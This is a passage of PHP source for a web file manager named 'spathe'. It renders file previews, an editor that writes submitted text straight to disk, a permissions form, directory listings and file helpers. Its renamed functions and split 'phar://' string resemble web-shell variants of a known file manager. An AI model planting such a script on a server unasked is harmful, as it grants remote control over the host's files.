echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
